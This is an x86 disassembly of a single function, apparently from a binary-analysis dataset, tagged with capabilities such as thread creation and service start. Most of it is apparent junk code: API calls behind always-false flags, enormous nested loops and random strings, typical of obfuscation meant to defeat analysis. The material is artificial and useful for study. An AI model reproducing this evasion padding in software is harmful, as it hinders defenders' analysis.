Function at 0x10017a4c
Capabilities:
Create thread
Enumerate gui resources
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10057fa6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xb70
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 3
lea ecx, [ebp - 0x5ac]
call fcn.10004d70
and dword [ebp - 4], 0
mov dword [ebp - 0x40], 6
mov dword [ebp - 0x78], 0
jmp 0x10017a99
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x10017ab5
push dword [ebp - 0x78]
lea ecx, [ebp - 0x5ac]
call fcn.10004e0f
mov dword [eax], 0xfffffff7
jmp 0x10017a92
mov dword [ebp - 0x78], 0
jmp 0x10017ac5
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 2
jge 0x10017adb
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x93c], 0xffffffff
jmp 0x10017abe
mov dword [ebp - 0x40], 0
jmp 0x10017aeb
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jg 0x10017c12
mov dword [ebp - 0x194], 0xffff
mov dword [ebp - 0x734], 0xfffffffb
mov esi, dword [ebp - 0x40]
push dword [ebp - 0x40]
lea ecx, [ebp - 0x5ac]
call fcn.10004e0f
cmp dword [eax], esi
jne 0x10017b2a
mov dword [ebp - 0x56c], 1
jmp 0x10017b31
and dword [ebp - 0x56c], 0
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x974], eax
mov esi, dword [ebp - 0x194]
push dword [ebp - 0x40]
lea ecx, [ebp - 0x5ac]
call fcn.10004e0f
cmp esi, dword [eax]
je 0x10017b61
mov dword [ebp - 0x354], 1
jmp 0x10017b68
and dword [ebp - 0x354], 0
push 1
lea ecx, [ebp - 0x5ac]
call fcn.10004e0f
mov ecx, dword [ebp - 0x354]
cmp ecx, dword [eax]
je 0x10017b8b
mov dword [ebp - 0x564], 1
jmp 0x10017b92
and dword [ebp - 0x564], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x93c]
cmp dword [ebp - 0x564], eax
jge 0x10017bb3
mov dword [ebp - 0x574], 1
jmp 0x10017bba
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x56c]
sub eax, dword [ebp - 0x574]
cmp eax, dword [ebp - 0x40]
jge 0x10017bd9
push dword [ebp - 0x40]
lea ecx, [ebp - 0x5ac]
call fcn.10004e0f
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x8f8], eax
imul eax, dword [ebp - 0x194], 0xd5be
mov dword [ebp - 0x734], eax
push dword [ebp - 0x40]
lea ecx, [ebp - 0x5ac]
call fcn.10004e0f
cmp dword [eax], 0
je 0x10017c0d
jmp 0x10017ae4
jmp 0x10017ae4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5ac]
call fcn.10004df3
mov dword [ebp - 0x15c], 0xd313dd33
mov dword [ebp - 0x15c], 0
jmp 0x10017c44
mov eax, dword [ebp - 0x15c]
dec eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0xfffffffa
jne 0x10017c8b
mov byte [ebp - 0x8b], 0
movzx eax, byte [ebp - 0x8b]
test eax, eax
je 0x10017c69
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov byte [ebp - 0x96], 0
movzx eax, byte [ebp - 0x96]
test eax, eax
je 0x10017c89
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
jmp 0x10017c37
cmp dword [0x10073b84], 0
jne 0x1001b7be
mov dword [ebp - 0x7cc], 9
mov dword [ebp - 0x7c8], 9
mov dword [ebp - 0x7c4], 9
mov dword [ebp - 0x7c0], 9
lea ecx, [ebp - 0x271]
call fcn.10004e1e
push eax
lea eax, [ebp - 0x7bc]
push eax
lea eax, [ebp - 0x7cc]
push eax
lea ecx, [ebp - 0xa7c]
call fcn.10004e21
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x6fc]
call fcn.10004dcd
mov dword [ebp - 4], 1
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 1
mov dword [ebp - 0x58], 0
jmp 0x10017d20
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 3
jge 0x10017d36
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x5b8], 0xfa32fd2d
jmp 0x10017d19
mov dword [ebp - 0x58], 0
jmp 0x10017d46
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 3
jge 0x10017d5c
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0xa50], 0x200279e5
jmp 0x10017d3f
push 0
lea ecx, [ebp - 0x6fc]
call fcn.10004e0f
mov dword [eax], 0x491e29ea
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x5b8]
push 2
lea ecx, [ebp - 0x6fc]
call fcn.10004e0f
cmp esi, dword [eax]
jg 0x10017d99
mov dword [ebp - 0x59c], 1
jmp 0x10017da0
and dword [ebp - 0x59c], 0
cmp dword [ebp - 0x59c], 0xba4d3ec9
jb 0x10017dbc
mov eax, 0xd5467356
test eax, eax
jne 0x10017dbc
cmp dword [ebp - 0xe0], 0
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x5b8]
push 2
lea ecx, [ebp - 0x6fc]
call fcn.10004e0f
add esi, dword [eax]
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x5b8], esi
jl 0x10017df3
mov dword [ebp - 0x2a8], 1
jmp 0x10017dfa
and dword [ebp - 0x2a8], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
push 4
pop edx
imul edx, edx, 0
mov edx, dword [ebp + edx - 0x5b8]
add edx, dword [ebp - 0x2a8]
sub edx, dword [ebp + ecx - 0x5b8]
cmp edx, dword [ebp + eax - 0x5b8]
jg 0x10017e35
mov dword [ebp - 0x55c], 1
jmp 0x10017e3c
and dword [ebp - 0x55c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5b8]
cmp dword [ebp - 0x55c], eax
jge 0x10017e5d
mov dword [ebp - 0x590], 1
jmp 0x10017e64
and dword [ebp - 0x590], 0
push 0
lea ecx, [ebp - 0x6fc]
call fcn.10004e0f
mov ecx, dword [ebp - 0x590]
cmp ecx, dword [eax]
jg 0x10017e87
mov dword [ebp - 0x2b0], 1
jmp 0x10017e8e
and dword [ebp - 0x2b0], 0
cmp dword [ebp - 0x2b0], 0xfbfcc013
jb 0x10017ea6
mov dword [ebp - 0x278], 1
jmp 0x10017ead
and dword [ebp - 0x278], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x278]
mov dword [ebp + eax - 0xa50], ecx
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0xf603fa75
jbe 0x10017ee4
mov dword [ebp - 0x430], 1
jmp 0x10017eeb
and dword [ebp - 0x430], 0
imul eax, dword [ebp - 0x430], 0x8993
cmp eax, dword [ebp - 0xe0]
jle 0x10017f4d
mov dword [ebp - 0xdc], 0
jmp 0x10017f16
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x1a
jle 0x10017f4b
mov byte [ebp - 0x87], 0
movzx eax, byte [ebp - 0x87]
test eax, eax
je 0x10017f49
push 0
push 0x141
push 0
push 0
push 0x1329
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x10017f09
jmp 0x10017f84
mov byte [ebp - 0xc5], 0
movzx eax, byte [ebp - 0xc5]
test eax, eax
je 0x10017f84
push 0
push 0x24bc
push 0
push 0
push 0x594
push 0xb94
push 0x1f78
push 0xcac
call dword [sym.imp.GDI32.dll_ExtTextOutA]
mov dword [ebp - 0xe0], 2
jmp 0x10017f9d
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0
jl 0x10017fc9
mov byte [ebp - 0x89], 0
movzx eax, byte [ebp - 0x89]
test eax, eax
je 0x10017fc7
push 0
push 0x1284
push 0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
jmp 0x10017f90
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6fc]
call fcn.10004df3
mov dword [ebp - 0x7c], 0xbf48
mov dword [ebp - 0xf8], 0xe4562513
push 2
lea ecx, [ebp - 0x5d0]
call fcn.10004d70
mov dword [ebp - 4], 2
mov dword [ebp - 0xf4], 0x986d6dbc
push 3
lea ecx, [ebp - 0x934]
call fcn.10004d70
mov byte [ebp - 4], 3
mov dword [ebp - 0x70], 0
jmp 0x10018028
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jge 0x10018044
push dword [ebp - 0x70]
lea ecx, [ebp - 0x5d0]
call fcn.10004e0f
mov dword [eax], 0xfffffff6
jmp 0x10018021
mov dword [ebp - 0x70], 0
jmp 0x10018054
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x10018070
push dword [ebp - 0x70]
lea ecx, [ebp - 0x934]
call fcn.10004e0f
mov dword [eax], 0x593eb6b3
jmp 0x1001804d
mov dword [ebp - 0x7c], 1
cmp dword [ebp - 0x7c], 0
jne 0x10018098
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jne 0x10018098
and dword [ebp - 0x2b8], 0
jmp 0x100180a2
mov dword [ebp - 0x2b8], 1
cmp dword [ebp - 0x2b8], 8
je 0x100180b7
mov dword [ebp - 0x4f0], 1
jmp 0x100180be
and dword [ebp - 0x4f0], 0
push 1
lea ecx, [ebp - 0x5d0]
call fcn.10004e0f
mov ecx, dword [ebp - 0x4f0]
cmp ecx, dword [eax]
jge 0x100180e1
mov dword [ebp - 0x260], 1
jmp 0x100180e8
and dword [ebp - 0x260], 0
push 0
lea ecx, [ebp - 0x5d0]
call fcn.10004e0f
mov ecx, dword [ebp - 0x260]
mov dword [eax], ecx
cmp dword [ebp - 0x260], 0
je 0x1001812b
mov byte [ebp - 0xa5], 0
movzx eax, byte [ebp - 0xa5]
test eax, eax
je 0x10018126
push 1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
jmp 0x10018710
mov dword [ebp - 0xe4], 0xdda5659c
push 2
lea ecx, [ebp - 0x584]
call fcn.10004d70
mov byte [ebp - 4], 4
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x228], 0
jmp 0x10018169
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 2
jge 0x1001818b
push dword [ebp - 0x228]
lea ecx, [ebp - 0x584]
call fcn.10004e0f
mov dword [eax], 0x2fc53d8b
jmp 0x1001815c
mov dword [ebp - 0x7c], 0
jmp 0x1001819b
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x1d
jl 0x10018611
mov dword [ebp - 0x6c4], 8
mov dword [ebp - 0x448], 0xfffffff6
mov dword [ebp - 0x588], 0xfffffff8
mov dword [ebp - 0x2c0], 0x26f5
mov dword [ebp - 0x6bc], str.tea_gryk_tsjpny_bwhpl_ddmvfa_jxjsaqax_gpjn_xabcg_tjnkp_gdkk_culer
cmp dword [ebp - 0x2c0], 0x2a09
jle 0x100182f0
and dword [ebp - 0x170], 0
jmp 0x100181fd
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0x1a99
jge 0x100182f0
and dword [ebp - 0x210], 0
jmp 0x10018223
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x1dde
jge 0x100182eb
and dword [ebp - 0x168], 0
jmp 0x10018249
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0xec4
jge 0x100182e6
and dword [ebp - 0x1d8], 0
jmp 0x1001826f
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0x45e2
jge 0x100182e1
mov eax, dword [ebp - 0x168]
imul eax, dword [ebp - 0x1d8]
mov ecx, dword [ebp - 0x170]
sub ecx, dword [ebp - 0x210]
and eax, ecx
cdq
mov dword [ebp - 0x63c], eax
mov dword [ebp - 0x638], edx
push dword [ebp - 0x638]
push dword [ebp - 0x63c]
lea ecx, [ebp - 0xb34]
call fcn.10001a51
pop ecx
pop ecx
mov dword [ebp - 0x630], eax
mov ecx, dword [ebp - 0x630]
call fcn.10001c18
push eax
call fcn.1003fd76
pop ecx
lea ecx, [ebp - 0xb34]
call fcn.10001c0e
jmp 0x10018262
jmp 0x1001823c
jmp 0x10018216
jmp 0x100181f0
mov dword [ebp - 0x550], 0xfffffffe
mov byte [ebp - 4], 5
cmp dword [ebp - 0x2c0], 0x24e4
jge 0x10018316
push dword [ebp - 0x6bc]
call fcn.1003fd76
pop ecx
jmp 0x10018332
mov dword [ebp - 4], 4
jmp 0x10018342
mov dword [ebp - 0x4f8], 5
mov dword [ebp - 0x9e4], 1
mov dword [ebp - 0x900], 0x260e2efe
mov dword [ebp - 0xa30], 0xc0aecaa7
mov dword [ebp - 0x908], 9
mov dword [ebp - 0x6d4], 0x7461d0ee
mov dword [ebp - 0x9e0], 0xbe945d4
mov dword [ebp - 0x2d0], 0
mov dword [ebp - 0x910], 0x3333db96
mov dword [ebp - 0xa20], 0xffffffff
push 2
lea ecx, [ebp - 0x924]
call fcn.10004d70
mov byte [ebp - 4], 7
mov dword [ebp - 0x6dc], 0x8d2166a3
mov dword [ebp - 0x178], 0
jmp 0x100183da
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 2
jge 0x100183fc
push dword [ebp - 0x178]
lea ecx, [ebp - 0x924]
call fcn.10004e0f
mov dword [eax], 0xfffffff7
jmp 0x100183cd
mov byte [ebp - 0xad], 0
movzx eax, byte [ebp - 0xad]
test eax, eax
je 0x1001841b
push 0
push 0x2354
call dword [sym.imp.USER32.dll_EndDialog]
cmp dword [ebp - 0x6c4], 0
jne 0x100185b6
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x918], eax
mov eax, dword [ebp - 0x288]
mov ecx, dword [ebp - 0x288]
inc ecx
mov dword [ebp - 0x288], ecx
test eax, eax
je 0x100184a2
mov esi, dword [ebp - 0xe4]
mov edi, dword [ebp - 0xf4]
push 1
lea ecx, [ebp - 0x584]
call fcn.10004e0f
imul edi, dword [eax]
cmp edi, esi
jg 0x10018477
mov dword [ebp - 0x6cc], 1
jmp 0x1001847e
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x960], eax
cmp dword [ebp - 0xe4], 0x1355
je 0x100184a2
mov dword [ebp - 0x438], 1
jmp 0x100184a9
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x438], eax
jl 0x100184c3
mov dword [ebp - 0x2c8], 1
jmp 0x100184ca
and dword [ebp - 0x2c8], 0
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0x550]
mov dword [ebp - 0x928], eax
mov eax, dword [ebp - 0x588]
mov dword [ebp - 0x964], eax
mov esi, dword [ebp - 0xe4]
push 0
lea ecx, [ebp - 0x584]
call fcn.10004e0f
imul esi, dword [eax]
mov dword [ebp - 0x2d0], esi
mov eax, dword [ebp - 0x2d0]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0xe4]
sub eax, 0x1687
jne 0x10018535
cmp dword [ebp - 0x4f8], 0
jne 0x10018535
and dword [ebp - 0x440], 0
jmp 0x1001853f
mov dword [ebp - 0x440], 1
cmp dword [ebp - 0x440], 0x63b350b8
jne 0x10018557
mov dword [ebp - 0x2d8], 1
jmp 0x1001855e
and dword [ebp - 0x2d8], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x2d8], eax
jg 0x10018578
mov dword [ebp - 0x2e0], 1
jmp 0x1001857f
and dword [ebp - 0x2e0], 0
mov eax, dword [ebp - 0x4f8]
add eax, dword [ebp - 0x2e0]
cmp eax, dword [ebp - 0x6d4]
je 0x1001859f
mov dword [ebp - 0x2e8], 1
jmp 0x100185a6
and dword [ebp - 0x2e8], 0
mov dword [ebp - 0x448], 0xc0198ab7
mov eax, dword [ebp - 0x448]
cmp dword [ebp - 0x6dc], 9
je 0x100185cb
mov dword [ebp - 0x2f0], 1
jmp 0x100185d2
and dword [ebp - 0x2f0], 0
mov esi, dword [ebp - 0x588]
imul esi, dword [ebp - 0x2f0]
push 1
lea ecx, [ebp - 0x584]
call fcn.10004e0f
sub esi, dword [eax]
push 1
lea ecx, [ebp - 0x584]
call fcn.10004e0f
mov dword [eax], esi
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x924]
call fcn.10004df3
jmp 0x10018194
cmp dword [ebp - 0x7c], 0
jne 0x10018632
push 1
lea ecx, [ebp - 0x584]
call fcn.10004e0f
cmp dword [eax], 0
jne 0x10018632
and dword [ebp - 0x450], 0
jmp 0x1001863c
mov dword [ebp - 0x450], 1
push 1
lea ecx, [ebp - 0x5d0]
call fcn.10004e0f
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x450], eax
jle 0x10018663
mov dword [ebp - 0x2f8], 1
jmp 0x1001866a
and dword [ebp - 0x2f8], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x2f8], eax
jl 0x10018684
mov dword [ebp - 0x500], 1
jmp 0x1001868b
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0xf8]
cmp eax, dword [ebp - 0x500]
jl 0x100186a5
mov dword [ebp - 0x300], 1
jmp 0x100186ac
and dword [ebp - 0x300], 0
cmp dword [ebp - 0x300], 0x88795192
ja 0x100186c4
mov dword [ebp - 0x1e0], 1
jmp 0x100186cb
and dword [ebp - 0x1e0], 0
push 1
lea ecx, [ebp - 0x584]
call fcn.10004e0f
mov ecx, dword [ebp - 0x1e0]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x5d0]
call fcn.10004e0f
mov ecx, dword [ebp - 0x1e0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0xf8], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x584]
call fcn.10004df3
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x934]
call fcn.10004df3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5d0]
call fcn.10004df3
mov byte [ebp - 0x128], 0xa
mov byte [ebp - 0x127], 0xe0
mov byte [ebp - 0x126], 4
mov byte [ebp - 0x125], 9
mov byte [ebp - 0x124], 5
mov byte [ebp - 0x123], 9
mov byte [ebp - 0x122], 1
mov byte [ebp - 0x121], 9
mov byte [ebp - 0x120], 0xb
mov byte [ebp - 0x11f], 9
mov byte [ebp - 0x11e], 3
mov byte [ebp - 0x11d], 2
mov byte [ebp - 0x11c], 2
mov byte [ebp - 0x11b], 0x1c
mov byte [ebp - 0x11a], 7
mov byte [ebp - 0x119], 0x40
mov byte [ebp - 0x118], 6
mov byte [ebp - 0x117], 1
mov byte [ebp - 0x116], 8
mov byte [ebp - 0x115], 0x1d
mov byte [ebp - 0x114], 9
mov byte [ebp - 0x113], 0x4a
mov byte [ebp - 0x112], 2
mov byte [ebp - 0x111], 0x37
mov byte [ebp - 0x110], 0xf1
mov byte [ebp - 0x10f], 0
mov byte [ebp - 0x10e], 0x2f
mov dword [ebp - 0x6ec], 1
mov dword [ebp - 0x764], 1
mov dword [ebp - 0x458], 0x6b80
mov dword [ebp - 0x6e4], str.vphinh_odjcaedu_qpcumxof_hort_avvcho_dqhi
cmp dword [ebp - 0x458], 0x6d15
jle 0x100188ce
and dword [ebp - 0x180], 0
jmp 0x10018839
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x6310
jge 0x100188ce
and dword [ebp - 0x238], 0
jmp 0x1001885f
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x4482
jge 0x100188c9
and dword [ebp - 0x188], 0
jmp 0x10018881
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x18de
jge 0x100188c7
mov eax, dword [ebp - 0x180]
cdq
idiv dword [ebp - 0x238]
or edx, dword [ebp - 0x188]
mov eax, edx
cdq
mov dword [ebp - 0x648], eax
mov dword [ebp - 0x644], edx
push dword [ebp - 0x644]
push dword [ebp - 0x648]
mov ecx, 0x100720b8
call fcn.10001c38
jmp 0x10018874
jmp 0x10018852
jmp 0x1001882c
mov dword [ebp - 0x508], 0xfd9e2a8d
mov dword [ebp - 4], 8
cmp dword [ebp - 0x458], 0x687b
jge 0x100188fb
mov edx, dword [ebp - 0x6e4]
mov ecx, 0x100720b8
call fcn.100035ef
jmp 0x10018917
or dword [ebp - 4], 0xffffffff
jmp 0x10018921
mov dword [ebp - 0x968], 0x8a527335
push 2
lea ecx, [ebp - 0x770]
call fcn.10004d70
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x308], 0x355fff83
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x24], 0
jmp 0x10018963
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x10018979
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x660], 0xfffffffb
jmp 0x1001895c
mov dword [ebp - 0x24], 0
jmp 0x10018989
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x100189a5
push dword [ebp - 0x24]
lea ecx, [ebp - 0x770]
call fcn.10004e0f
mov dword [eax], 0xc3414b58
jmp 0x10018982
mov dword [ebp - 0x24], 0
jmp 0x100189b5
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x100189cb
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x654], 0xffffffff
jmp 0x100189ae
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x660], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x654]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x654]
inc ecx
push 4
pop edx
imul edx, edx, 0
mov dword [ebp + edx - 0x654], ecx
test eax, eax
jne 0x10018a41
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x660]
mov dword [ebp - 0x87c], eax
push 1
lea ecx, [ebp - 0x770]
call fcn.10004e0f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x660], 0
jne 0x10018a41
and dword [ebp - 0x310], 0
jmp 0x10018a4b
mov dword [ebp - 0x310], 1
mov esi, dword [ebp - 0x308]
push 1
lea ecx, [ebp - 0x770]
call fcn.10004e0f
cmp esi, dword [eax]
jl 0x10018a6e
mov dword [ebp - 0x558], 1
jmp 0x10018a75
and dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x308]
neg eax
cmp eax, dword [ebp - 0x558]
je 0x10018a91
mov dword [ebp - 0x460], 1
jmp 0x10018a98
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x310]
sub eax, dword [ebp - 0x460]
imul eax, dword [ebp - 0x6ec]
mov dword [ebp - 0x318], eax
mov eax, dword [ebp - 0x318]
cmp eax, dword [ebp - 0x508]
jg 0x10018ad1
cmp dword [ebp - 0x508], 0
jne 0x10018ad1
and dword [ebp - 0x320], 0
jmp 0x10018adb
mov dword [ebp - 0x320], 1
mov eax, dword [ebp - 0x320]
mov dword [ebp - 0x764], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x770]
call fcn.10004df3
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x128]
and eax, 0x8c
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x128]
or ecx, 0x8c
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x128]
mov word [ebp + eax*2 - 0x874], cx
mov dword [ebp - 0x468], 0x198c
mov dword [ebp - 0x5ec], str.hktovjydp_cxsdtqqr_dsgggs_zhwpt
cmp dword [ebp - 0x468], 0x1bbd
jle 0x10018c32
and dword [ebp - 0x1e8], 0
jmp 0x10018b6f
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0x2170
jge 0x10018c32
and dword [ebp - 0x190], 0
jmp 0x10018b95
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x6efb
jge 0x10018c2d
and dword [ebp - 0x218], 0
jmp 0x10018bbb
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x4394
jge 0x10018c28
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [ebp - 0x190]
sar eax, cl
mov ecx, dword [ebp - 0x218]
shl eax, cl
cdq
mov dword [ebp - 0x66c], eax
mov dword [ebp - 0x668], edx
push dword [ebp - 0x668]
push dword [ebp - 0x66c]
lea ecx, [ebp - 0xb58]
call fcn.10001a51
pop ecx
pop ecx
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x718]
call fcn.10001c18
push eax
call fcn.1003fd76
pop ecx
lea ecx, [ebp - 0xb58]
call fcn.10001c0e
jmp 0x10018bae
jmp 0x10018b88
jmp 0x10018b62
mov dword [ebp - 0x28], 0xfffffffc
mov dword [ebp - 4], 0xb
cmp dword [ebp - 0x468], 0x18ff
jge 0x10018c58
push dword [ebp - 0x5ec]
call fcn.1003fd76
pop ecx
jmp 0x10018c74
or dword [ebp - 4], 0xffffffff
jmp 0x10018c7e
mov dword [ebp - 0x9c], 0x951fe77d
mov dword [ebp - 0x598], 1
mov dword [ebp - 0x268], 7
mov dword [ebp - 0x560], 0x1efe0c23
mov dword [ebp - 0x28], 0x10
jmp 0x10018cb6
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 6
jge 0x10018cc7
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x9c], eax
jmp 0x10018caf
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x884], eax
cmp dword [ebp - 0x28], 0xf1e2
je 0x10018ce5
mov dword [ebp - 0x328], 1
jmp 0x10018cec
and dword [ebp - 0x328], 0
mov eax, dword [ebp - 0x598]
cmp dword [ebp - 0x328], eax
jg 0x10018d06
mov dword [ebp - 0x330], 1
jmp 0x10018d0d
and dword [ebp - 0x330], 0
mov eax, dword [ebp - 0x598]
cmp dword [ebp - 0x330], eax
jg 0x10018d27
mov dword [ebp - 0x470], 1
jmp 0x10018d2e
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x470], eax
jne 0x10018d48
mov dword [ebp - 0x338], 1
jmp 0x10018d4f
and dword [ebp - 0x338], 0
cmp dword [ebp - 0x338], 0
jb 0x10018d72
xor eax, eax
inc eax
je 0x10018d72
mov eax, 0xb7c3
test eax, eax
je 0x10018d72
mov dword [ebp - 0x510], 1
jmp 0x10018d79
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0x268]
cmp dword [ebp - 0x510], eax
jl 0x10018d93
mov dword [ebp - 0x628], 1
jmp 0x10018d9a
and dword [ebp - 0x628], 0
xor eax, eax
cmp eax, 0x514faf14
jg 0x10018daf
mov dword [ebp - 0x340], 1
jmp 0x10018db6
and dword [ebp - 0x340], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x340]
jge 0x10018dcd
mov dword [ebp - 0x478], 1
jmp 0x10018dd4
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x478]
jge 0x10018dee
mov dword [ebp - 0x72c], 1
jmp 0x10018df5
and dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x88c], eax
mov eax, dword [ebp - 0x9c]
add eax, dword [ebp - 0x268]
cmp eax, dword [ebp - 0x28]
jne 0x10018e1b
mov dword [ebp - 0x348], 1
jmp 0x10018e22
and dword [ebp - 0x348], 0
mov eax, dword [ebp - 0x348]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x560], eax
mov eax, dword [ebp - 0x560]
sub eax, dword [ebp - 0x268]
je 0x10018e5e
push 0xfffffffffffffff6
pop eax
test eax, eax
je 0x10018e5e
cmp dword [ebp - 0x9c], 0
je 0x10018e5e
mov dword [ebp - 0x350], 1
jmp 0x10018e65
and dword [ebp - 0x350], 0
mov eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x350]
jge 0x10018e7f
mov dword [ebp - 0x480], 1
jmp 0x10018e86
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x20], 2
and dword [ebp - 0xec], 0
